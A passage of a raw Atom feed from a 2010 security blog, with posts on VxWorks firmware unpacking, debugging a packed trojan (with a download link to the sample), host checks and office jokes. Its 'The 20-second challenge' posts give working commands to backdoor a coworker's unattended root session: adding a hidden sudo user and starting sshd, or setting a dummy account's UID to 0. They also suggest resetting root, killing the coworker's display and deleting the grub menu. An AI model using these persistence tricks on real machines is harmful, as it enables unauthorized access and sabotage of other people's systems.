&lt;p&gt;Next time, I will check some (x)inetd tricks to backdoor even more colleagues' stations.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/174930807143441902-846505812664051876?l=graland-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://graland-security.blogspot.com/feeds/846505812664051876/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://graland-security.blogspot.com/2010/12/20-second-challenge-part-iv.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/174930807143441902/posts/default/846505812664051876'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/174930807143441902/posts/default/846505812664051876'/><link rel='alternate' type='text/html' href='http://graland-security.blogspot.com/2010/12/20-second-challenge-part-iv.html' title='The 20-second challenge - Part IV'/><author><name>mitshell</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-174930807143441902.post-2110775179436657457</id><published>2010-12-15T11:45:00.000+01:00</published><updated>2010-12-15T11:45:36.206+01:00</updated><title type='text'>The 20-second challenge - Part III</title><content type='html'>Here is a quick post on how to check you don't have any malicious services running on your machine.&lt;br /&gt;
&lt;br /&gt;
$ netstat -antup | grep LISTEN&lt;br /&gt;
&lt;br /&gt;
It will list all sockets listening for connections on your machine, and the associated process. Check if there is no suspect telnet running...&lt;br /&gt;
Also, check your crontab:&lt;br /&gt;
&lt;br /&gt;
$ crontab -l&lt;br /&gt;
$ crontab -e&lt;br /&gt;
&lt;br /&gt;
List and edit weird jobs. Don't forget to do that for all users that can log in.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/174930807143441902-2110775179436657457?l=graland-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://graland-security.blogspot.com/feeds/2110775179436657457/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://graland-security.blogspot.com/2010/12/20-second-challenge-part-iii.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/174930807143441902/posts/default/2110775179436657457'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/174930807143441902/posts/default/2110775179436657457'/><link rel='alternate' type='text/html' href='http://graland-security.blogspot.com/2010/12/20-second-challenge-part-iii.html' title='The 20-second challenge - Part III'/><author><name>blind_key</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://4.bp.blogspot.com/_w7o23hIBRuI/TGeuJudkphI/AAAAAAAAAAQ/u4QPseT8zvc/s1600-R/background.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-174930807143441902.post-7474756310439016760</id><published>2010-12-14T15:43:00.008+01:00</published><updated>2010-12-15T11:47:09.117+01:00</updated><title type='text'>The 20-second challenge - Part II</title><content type='html'>&lt;p&gt;OK, you have the console logged just in front of you! Let's go for the simplest backdoor (much simpler than the wheel gid + visudo previously posted): the UID 0 account!&lt;/p&gt;&lt;p&gt;- Edit the /etc/passwd.&lt;br /&gt;
- Choose an account with a dummy name and a shell environment (do not create a new one: it would not be stealth enough).&lt;br /&gt;
- Change its UID to 0.&lt;br /&gt;
- Eventually reset its password if you do not know the original one.&lt;br /&gt;
Done. &lt;/p&gt;&lt;pre class="brush: bash;"&gt;$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
[...]
prout:x:0000:1016::/home/prout:/bin/bash
$ su - prout
Password:
#id
uid=0(root) gid=1001(prout) groups=0(root),1001(prout)
&lt;/pre&gt;&lt;/p&gt;&lt;p&gt;Now, you can reset the root password on demand, kill the graphical interface of your co-worker on demand, and delete his /boot/grub/menu.lst for even more fun! &lt;p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/174930807143441902-7474756310439016760?l=graland-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://graland-security.blogspot.com/feeds/7474756310439016760/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://graland-security.blogspot.com/2010/12/20-seconds-challenge-part-ii.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/174930807143441902/posts/default/7474756310439016760'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/174930807143441902/posts/default/7474756310439016760'/><link rel='alternate' type='text/html' href='http://graland-security.blogspot.com/2010/12/20-seconds-challenge-part-ii.html' title='The 20-second challenge - Part II'/><author><name>mitshell</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-174930807143441902.post-958483284936176250</id><published>2010-12-14T15:24:00.004+01:00</published><updated>2010-12-14T17:40:36.798+01:00</updated><title type='text'>The 20-second challenge - Part I</title><content type='html'>Say a coworker left his computer unattended, with a root console opened. He is about to come back (you can hear its footsteps in the corridor). You have approximatively 20 seconds to backdoor his computer. What do you do ?&lt;br /&gt;
&lt;br /&gt;
Here is the most straightforward trick:&lt;br /&gt;
&lt;br /&gt;
$ useradd -g users, wheel -s /bin/bash sysadm&lt;br /&gt;
$ passwd sysadm&lt;br /&gt;
$ visudo&lt;br /&gt;
$ /etc/init.d/ssh start&lt;br /&gt;
&lt;br /&gt;
This way you:&lt;br /&gt;
- create a new user. The name has to look "normal", you should avoid "l33th4xx".&lt;br /&gt;
- set its password.&lt;br /&gt;
- add your newly created user to the sudoers file. &lt;br /&gt;
- start the ssh server, so you can come back later. &lt;br /&gt;
&lt;br /&gt;
First prank:&lt;br /&gt;
$ [come back to your office]&lt;br /&gt;
$ ssh sysadm@my-stupid-coworker&lt;br /&gt;
$ sudo su&lt;br /&gt;
$ su my-stupid-coworker&lt;br /&gt;
$ export DISPLAY=:0.0 &amp;amp;&amp;amp; firefox http://bonjourmadame.fr&lt;br /&gt;
&lt;br /&gt;
No need for explanation ;-)&lt;br /&gt;
&lt;br /&gt;
Hopefully we'll come back for more tricks / pranks / anti-coworker-pranks.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/174930807143441902-958483284936176250?l=graland-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://graland-security.blogspot.com/feeds/958483284936176250/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://graland-security.blogspot.com/2010/12/20-second-challenge-part-i.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/174930807143441902/posts/default/958483284936176250'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/174930807143441902/posts/default/958483284936176250'/><link rel='alternate' type='text/html' href='http://graland-security.blogspot.com/2010/12/20-second-challenge-part-i.html' title='The 20-second challenge - Part I'/><author><name>blind_key</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://4.bp.blogspot.com/_w7o23hIBRuI/TGeuJudkphI/AAAAAAAAAAQ/u4QPseT8zvc/s1600-R/background.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-174930807143441902.post-6805612876834516442</id><published>2010-12-02T13:23:00.001+01:00</published><updated>2010-12-02T13:26:34.334+01:00</updated><title type='text'>The echo complexity</title><content type='html'>&lt;div class="MsoNormal"&gt;&lt;span lang="EN-US"&gt;Just a tip for our customers: if the following command does not actually configure your HTTP proxy settings: &lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="MsoNormal" style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span lang="ES"&gt;echo "export http_proxy=http://my-proxy:8080"&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span lang="EN-US"&gt;just try : &lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="MsoNormal" style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span lang="EN-US"&gt;export http_proxy=http://my-proxy:8080&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span lang="EN-US"&gt;It's sometime better without the "echo".&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/174930807143441902-6805612876834516442?l=graland-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://graland-security.blogspot.com/feeds/6805612876834516442/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://graland-security.blogspot.com/2010/12/echo-complexity.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/174930807143441902/posts/default/6805612876834516442'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/174930807143441902/posts/default/6805612876834516442'/><link rel='alternate' type='text/html' href='http://graland-security.blogspot.com/2010/12/echo-complexity.html' title='The echo complexity'/><author><name>a</name><uri>http://www.blogger.com/profile/00241131320703038875</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-174930807143441902.post-4302861885615720554</id><published>2010-11-12T17:08:00.042+01:00</published><updated>2010-12-03T11:34:47.813+01:00</updated><title type='text'>Quick checks on VxWorks images - part 1</title><content type='html'>&lt;p&gt;In GNIF, we are seeing lots of different equipments being deployed for running networks. Many of them are working with VxWorks, especially version 5.5 that is common. It is a real-time OS supplied by WindRiver. For some initial views (still quite complete) on the particularity of this OS and its analysis, you can report to the following posts:&lt;/p&gt;

- &lt;a href="http://chargen.matasano.com/chargen/2008/4/29/retsaot-is-toaster-reversed-quick-n-dirty-firmware-reversing.html"&gt;Matasano&lt;/a&gt;&lt;br&gt;
- &lt;a href="http://blog.metasploit.com/2010/08/vxworks-vulnerabilities.html"&gt;HD Moore&lt;/a&gt;&lt;br&gt;
- &lt;a href="http://newsoft-tech.blogspot.com/2010/09/follow-up-on-vxworks-issue.html"&gt;Newsoft&lt;/a&gt;&lt;br&gt;

&lt;p&gt;This OS is running on many different systems, such as helium balloon for expanding satellite network or IP-enabled fridge and microwave oven. GNIF is proud to provide you some quick results on applying some existing reversing techniques on these systems.&lt;/p&gt;
&lt;p&gt;In this 1st part on VxWorks, we are not going to dive into the system itself, but just going to check what you have in your hands when you get such a firmware. Let's go with the helium balloon: we have a binary file of some MB of data suffixed with a .bz, however file indicate it's just data. Let's open it with an hex-editor: we can first see an ascii header followed by hex data.&lt;/p&gt;

&lt;pre class="brush: bash;"&gt;
$ strings -a image.bz | head -20
AZC File Signature
3SZ_SW
* Header Length : 358 Bytes
* Product Version : Rel_9_0_0_8666
* Date &amp;amp; Time : Wed Nov 09 12:03:31 2004
* Code Length : 2358544 Bytes
* Bootrom Length : 176500 Bytes
* Unit Type : PIPO
* HW Revision : 8
* SW Type : S
************* End of Header *****************
4JKTJH
[...]
&lt;/pre&gt;

&lt;p&gt;The data following the header is very entropic. One can guess it is compressed data, thanks to the zlib magic number few bytes after the end of the header: 0x789c. Furthermore, from the header, it looks like we have 2 images (one system and one bootrom). So we will use the most basic strategy to uncompress thoses files: the brute-force! Scan the file for the magic bytes 0x789c, and try to uncompress from the offset... and see what you get.&lt;/p&gt;
&lt;p&gt;In few lines of python:&lt;/p&gt;

&lt;pre class="brush: python;"&gt;
fd = open('image.bz', 'ro')
a = fd.read(); fd.close()
from zlib import decompress
of, f = 0, a.find('\x78\x9c')
while f &gt;= 0:
    of += f
    try:
        data = decompress( a[of:] )
        print 'decrompressed at: 0x%x' % of
    except:
        pass
    f = a[of+2:].find('\x78\x9c')
    of += 2
&lt;/pre&gt;

&lt;p&gt;This returns the following address:&lt;br&gt;
decrompressed at: 0x210&lt;br&gt;
decrompressed at: 0x2b384&lt;/p&gt;
&lt;p&gt;OK, we have our 2 offsets corresponding to our 2 parts; furthermore, we see that the size of the compressed sections is equal to the length provided in the text header. We can now decompress it in files to check it further.&lt;/p&gt;

&lt;pre class="brush: bash;"&gt;
In [107]: fd = open('p1', 'wb')
In [108]: fd.write( decompress( a[0x210:] ))
In [109]: fd.close()
In [112]: fd = open('p2', 'wb')
In [113]: fd.write( decompress( a[0x2b384:] ))
In [114]: fd.close()
In [115]: !ls -l
total 11740
-rw-r--r-- 1 prout users 2535572 Dec 2 14:31 image.bz
-rw-r--r-- 1 prout users 178685 Dec 2 15:06 p1
-rw-r--r-- 1 prout users 9065873 Dec 2 15:07 p2
&lt;/pre&gt;

&lt;p&gt;That's it!&lt;br&gt;
Now let's move to the image of the IP-enabled fridge. Again, we have a file suffixed with .bin. File command does not recognize it =&gt; hexedit.&lt;/p&gt;

&lt;pre class="brush: bash;"&gt;
$ hexedit image.bin
00000000 76 65 72 20 39 38 32 00 00 00 00 00 00 00 00 00 ver 982.........
00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000040 01 01 63 00 00 07 85 53 00 00 01 00 00 00 00 00 ..c....S........
00000050 D6 0F E5 B9 66 00 00 00 00 00 00 00 00 00 00 00 ....f...........
00000060 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000070 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000080 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000090 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000A0 08 78 9C B4 5A 0D 70 54 55 96 3E 9D 0E 49 77 88 .x..Z.pTU.&gt;.
&lt;/pre&gt;

&lt;p&gt;We have some kind of binary header with a file version, and what could be file size and checksum, and again our gzip magic number: 0x789c. After checking the size of the file section after the gzip magic bytes, we get the corresponding value in the header at offset 0x44: 0x78553. We check in the same way the CRC32 of the file section and get the corresponding value in the header at offset 0x50: 0xD60FE5B9. This is good to know if we want to patch the firmware afterwards. &lt;br&gt;
Now, we can apply the same decompressing script and get a single system image.&lt;/p&gt;
&lt;p&gt;We have some VxWorks system images. Next step will be to start the statical analysis, try to retrieve the VxWorks symbol table (inspired from the Matasano recipe) and retrieve the firmware loading address in order to be able to disassemble it properly.&lt;/p&gt;
&lt;p&gt;To conclude, we have seen that VxWorks images have similarities in that they are compressed sections with zlib after a header section. However, due to the diversity of board, CPU and uC suppliers, bootloading procedures may vary and may take different kind of header format.&lt;/p&gt;
&lt;br&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/174930807143441902-4302861885615720554?l=graland-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://graland-security.blogspot.com/feeds/4302861885615720554/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://graland-security.blogspot.com/2010/11/quick-checks-on-vxworks-images-part-1.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/174930807143441902/posts/default/4302861885615720554'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/174930807143441902/posts/default/4302861885615720554'/><link rel='alternate' type='text/html' href='http://graland-security.blogspot.com/2010/11/quick-checks-on-vxworks-images-part-1.html' title='Quick checks on VxWorks images - part 1'/><author><name>mitshell</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-174930807143441902.post-5078567512223363918</id><published>2010-11-05T14:57:00.008+01:00</published><updated>2010-12-02T13:13:32.757+01:00</updated><title type='text'>Friday hexadecimal entertainment</title><content type='html'>&lt;b&gt;TLDR:&amp;nbsp;&lt;/b&gt;&lt;br /&gt;
&lt;ul&gt;&lt;li&gt; OllyDBG works like a charm in Wine&lt;/li&gt;
&lt;li&gt;Looking into malwares on Friday is fun&lt;/li&gt;
&lt;/ul&gt;&lt;br /&gt;
Working on fridays sucks. So here is a little reverse-engineering fun.&lt;br /&gt;
&lt;br /&gt;
On a supposedly "empty" USB stick, I found a weirdly-named file: &lt;br /&gt;
$ ls&lt;br /&gt;
gy.cmd&lt;br /&gt;
$ file gy.cmd&lt;br /&gt;
gy.cmd: PE32 executable for MS Windows (GUI) Intel 80386 32-bit&lt;br /&gt;
&lt;br /&gt;
You can get it &lt;a href="http://www48.zippyshare.com/v/34016384/file.html"&gt;there&lt;/a&gt; (pass: GraLandSec). &lt;br /&gt;
&lt;br /&gt;
A quick visit to &lt;a href="http://www.virustotal.com/"&gt;Virus Total&lt;/a&gt; confirms that it is a Trojan. And here is something fun to do before week-end !&lt;br /&gt;
First, a quick look at the file with &lt;a href="http://www.hex-rays.com/idapro/"&gt;IDA&lt;/a&gt;, now with a native Qt interface under Linux. No need to boot a VM, my good old XP in VirtualBox is now officially half-useless (as we will see later, we can do &lt;b&gt;a lot of things&lt;/b&gt; with PE juste with Linux). Here is what the flow-chart looks like at the entrypoint:&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_w7o23hIBRuI/TNP3m2MVlpI/AAAAAAAAABk/PkV33_JSqZo/s1600/glob_view_ida.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="317" src="http://3.bp.blogspot.com/_w7o23hIBRuI/TNP3m2MVlpI/AAAAAAAAABk/PkV33_JSqZo/s320/glob_view_ida.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
Very simple and linear, except for what looks like a loop at the end. Let's zoom in:&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_w7o23hIBRuI/TNP38-RTjgI/AAAAAAAAABo/Q9YLSNQh_eo/s1600/loop_ida.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="320" src="http://4.bp.blogspot.com/_w7o23hIBRuI/TNP38-RTjgI/AAAAAAAAABo/Q9YLSNQh_eo/s320/loop_ida.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
This really looks like a decoding loop (with the memory acces &lt;b&gt;sub [esi], al&lt;/b&gt;). After the loop, we apparently have junk / random bytes. At this point, we can say that the program is packed, with a simple decoding routine at the entrypoint. How can we continue the analysis ? Under Linux, IDA have debugging capabilities for Linux executables, or using a remote debugger.&lt;br /&gt;
So here comes our second tool, the best for PE32 debugging: &lt;a href="http://www.ollydbg.de/"&gt;OllyDbg&lt;/a&gt;. Even if it is only distributed for Windows, it runs perfectly under &lt;a href="http://www.winehq.org/"&gt;Wine&lt;/a&gt;. Lets see what our loop looks like :&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_w7o23hIBRuI/TNP7Js59YxI/AAAAAAAAABs/DYnNQtGd41k/s1600/loop_olly.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="320" src="http://4.bp.blogspot.com/_w7o23hIBRuI/TNP7Js59YxI/AAAAAAAAABs/DYnNQtGd41k/s320/loop_olly.png" width="285" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
We have a lot of &lt;b&gt;junk code &lt;/b&gt;(useless instructions&amp;nbsp;like &lt;b&gt;add eax, N; dec eax, N&lt;/b&gt;). Fill it with NOPs. Looking at the bottom of the loop, we can see that ECX is the loop counter. Let's track operation on it. After a bit of cleanup, our code looks like this:&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_w7o23hIBRuI/TNP8j-0K4NI/AAAAAAAAABw/zd9kpM3wUYM/s1600/loop_clear.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="320" src="http://3.bp.blogspot.com/_w7o23hIBRuI/TNP8j-0K4NI/AAAAAAAAABw/zd9kpM3wUYM/s320/loop_clear.png" width="243" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
Much cleaner ! Now, we can run the program in the debugger and make it decode itself. Set a break point on the bottom of the loop, and watch it do the work ! You'll see that our counter is indeed ECX, and it is decremented at each loop. You can set a conditionnal breakpoint to make the program stop when &lt;b&gt;ECX==0&lt;/b&gt;.&lt;br /&gt;
The next part is another decoding loop, similar to the first one. The decoding loop counter is in EDX, the "key" is stored in ESI, the write index is ECX. I'll let you look at it, there is a lot of funny stuff to see in this file. Happy &lt;i&gt;native-PE32-linux-debugging&lt;/i&gt; !&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/174930807143441902-5078567512223363918?l=graland-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://graland-security.blogspot.com/feeds/5078567512223363918/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://graland-security.blogspot.com/2010/11/friday-hexadecimal-entertainment.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/174930807143441902/posts/default/5078567512223363918'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/174930807143441902/posts/default/5078567512223363918'/><link rel='alternate' type='text/html' href='http://graland-security.blogspot.com/2010/11/friday-hexadecimal-entertainment.html' title='Friday hexadecimal entertainment'/><author><name>blind_key</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://4.bp.blogspot.com/_w7o23hIBRuI/TGeuJudkphI/AAAAAAAAAAQ/u4QPseT8zvc/s1600-R/background.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_w7o23hIBRuI/TNP3m2MVlpI/AAAAAAAAABk/PkV33_JSqZo/s72-c/glob_view_ida.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-174930807143441902.post-8261107786993388601</id><published>2010-11-05T14:40:00.016+01:00</published><updated>2010-11-05T14:55:51.521+01:00</updated><title type='text'>Blackhat parallel sessions</title><content type='html'>&lt;a href="http://1.bp.blogspot.com/_lzDjfzGxgvw/TNQMnyTT1KI/AAAAAAAAAAs/AqYaSNNJ87U/s1600/giant-burger.jpg"&gt;&lt;img id="BLOGGER_PHOTO_ID_5536063719602377890" style="FLOAT: right; MARGIN: 0px 0px 10px 10px; WIDTH: 169px; CURSOR: hand; HEIGHT: 200px" alt="" src="http://1.bp.blogspot.com/_lzDjfzGxgvw/TNQMnyTT1KI/AAAAAAAAAAs/AqYaSNNJ87U/s200/giant-burger.jpg" border="0" /&gt;&lt;/a&gt;A colleague who attended the last blackhat conference could unfortunately not see all the 8 parallel talks (he is not -yet- ubiquitous). Someone asked why the conference's organisators were proposing so much sessions in parallel...
&lt;br&gt;&lt;br&gt;
The answer is quite simple: because they put 4 steaks into one single burger!
That's the U.S.A.
&lt;div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/174930807143441902-8261107786993388601?l=graland-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://graland-security.blogspot.com/feeds/8261107786993388601/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://graland-security.blogspot.com/2010/11/blackhat-parallel-sessions.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/174930807143441902/posts/default/8261107786993388601'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/174930807143441902/posts/default/8261107786993388601'/><link rel='alternate' type='text/html' href='http://graland-security.blogspot.com/2010/11/blackhat-parallel-sessions.html' title='Blackhat parallel sessions'/><author><name>mitshell</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_lzDjfzGxgvw/TNQMnyTT1KI/AAAAAAAAAAs/AqYaSNNJ87U/s72-c/giant-burger.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-174930807143441902.post-2481069640790739137</id><published>2010-10-29T12:59:00.001+02:00</published><updated>2010-10-29T13:00:19.591+02:00</updated><title type='text'>A piece of GNIF wisdom</title><content type='html'>Heard at a meeting with GNIF clients:&lt;br /&gt;
&lt;i&gt;"Well, you know, using the SSID of your wifi AP as a pre-shared key is not... really secure".&lt;/i&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/174930807143441902-2481069640790739137?l=graland-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://graland-security.blogspot.com/feeds/2481069640790739137/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://graland-security.blogspot.com/2010/10/piece-of-gnif-wisdom.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/174930807143441902/posts/default/2481069640790739137'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/174930807143441902/posts/default/2481069640790739137'/><link rel='alternate' type='text/html' href='http://graland-security.blogspot.com/2010/10/piece-of-gnif-wisdom.html' title='A piece of GNIF wisdom'/><author><name>blind_key</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://4.bp.blogspot.com/_w7o23hIBRuI/TGeuJudkphI/AAAAAAAAAAQ/u4QPseT8zvc/s1600-R/background.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-174930807143441902.post-4657720613738948826</id><published>2010-10-28T16:11:00.001+02:00</published><updated>2010-10-28T16:19:12.271+02:00</updated><title type='text'>Cloud storage is hasbeen</title><content type='html'>&lt;div&gt;&lt;div&gt;&lt;div&gt;Now we have a much better technique for storing securely sensitive data:

the &lt;b&gt;sms&lt;/b&gt;, aka the "&lt;b&gt;SubMarine Storage&lt;/b&gt;".
&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;&lt;img id="BLOGGER_PHOTO_ID_5533101163852249666" style="DISPLAY: block; MARGIN: 0px auto 10px; WIDTH: 165px; CURSOR: hand; HEIGHT: 200px; TEXT-ALIGN: center" alt="" src="http://3.bp.blogspot.com/_lzDjfzGxgvw/TMmGMWG2ukI/AAAAAAAAAAk/xiG2GF5K6y8/s200/SMStorage.JPG" border="0" /&gt;
&lt;div&gt;&lt;/div&gt;&lt;div&gt;This guaranties the sealing of stored data and avoids any unauthorized reuse!

&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/174930807143441902-4657720613738948826?l=graland-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://graland-security.blogspot.com/feeds/4657720613738948826/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://graland-security.blogspot.com/2010/10/cloud-storage-is-hasbeen.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/174930807143441902/posts/default/4657720613738948826'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/174930807143441902/posts/default/4657720613738948826'/><link rel='alternate' type='text/html' href='http://graland-security.blogspot.com/2010/10/cloud-storage-is-hasbeen.html' title='Cloud storage is hasbeen'/><author><name>mitshell</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_lzDjfzGxgvw/TMmGMWG2ukI/AAAAAAAAAAk/xiG2GF5K6y8/s72-c/SMStorage.JPG' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-174930807143441902.post-4127791309710143789</id><published>2010-10-28T15:45:00.013+02:00</published><updated>2010-12-02T13:19:08.879+01:00</updated><title type='text'>EncFS and MPD</title><content type='html'>&lt;div style="text-align: justify;"&gt;As every reasonably paranoïd person should do, I encrypt all the "sensible" content of my work laptop. By sensible, I mean everything that is not related to work:&lt;/div&gt;&lt;div style="text-align: justify;"&gt;- music&lt;/div&gt;&lt;div style="text-align: justify;"&gt;- TV Shows&lt;/div&gt;&lt;div style="text-align: justify;"&gt;- pictures from 